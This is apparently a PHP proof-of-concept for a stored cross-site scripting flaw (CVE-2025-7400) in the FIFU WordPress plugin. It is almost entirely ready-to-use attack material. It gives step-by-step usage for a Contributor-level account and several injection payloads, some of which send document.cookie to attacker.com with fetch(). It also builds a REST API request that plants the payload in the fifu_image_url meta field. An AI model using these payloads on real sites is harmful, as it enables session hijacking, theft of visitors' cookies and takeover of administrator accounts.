CVE-2025-7400 WordPress FIFU插件存储型XSS漏洞

<?php /** * CVE-2025-7400 - FIFU Plugin Stored XSS PoC * * This PoC demonstrates how an authenticated Contributor-level user * can inject malicious JavaScript via the Featured Image custom fields * of the FIFU plugin, which will execute when other users view the post. * * Usage: * 1. Log in to WordPress as a Contributor or higher. * 2. Create a new post via wp-admin/post-new.php or wp-admin/admin-ajax.php. * 3. Inject the malicious payload into the FIFU custom fields * (e.g., fifu_image_url or related meta keys). */ // Malicious payload to inject into FIFU custom field (e.g., fifu_image_url) $malicious_payload = '"><script>alert("XSS-CVE-2025-7400:"+document.cookie)</script>'; // Alternative payloads for different contexts: $payload_img_onerror = '"><img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">'; $payload_svg = '"><svg onload="alert(document.domain)">'; $payload_event_handler = '"><a href="javascript:fetch(\'https://attacker.com/?cookie=\'+document.cookie)">Click me</a>'; // Example: Inject via WordPress REST API (requires authentication) $wp_api_endpoint = 'https://target-wordpress-site.com/wp-json/wp/v2/posts'; $post_data = array( 'title' => 'Test Post', 'content' => 'Post content here', 'status' => 'publish', 'meta' => array( 'fifu_image_url' => $malicious_payload, // Inject into FIFU meta field ), ); /* * The above payload will be stored in the wp_postmeta table without sanitization. * When the post is rendered on the frontend, the plugin outputs the meta value * directly into the HTML without escaping, causing the script to execute * in the context of any visitor's browser session. * * Impact: * - Cookie theft / session hijacking * - Admin account takeover * - Malicious redirects * - Drive-by malware distribution */ echo "PoC payload ready: " . $malicious_payload . "\n"; ?>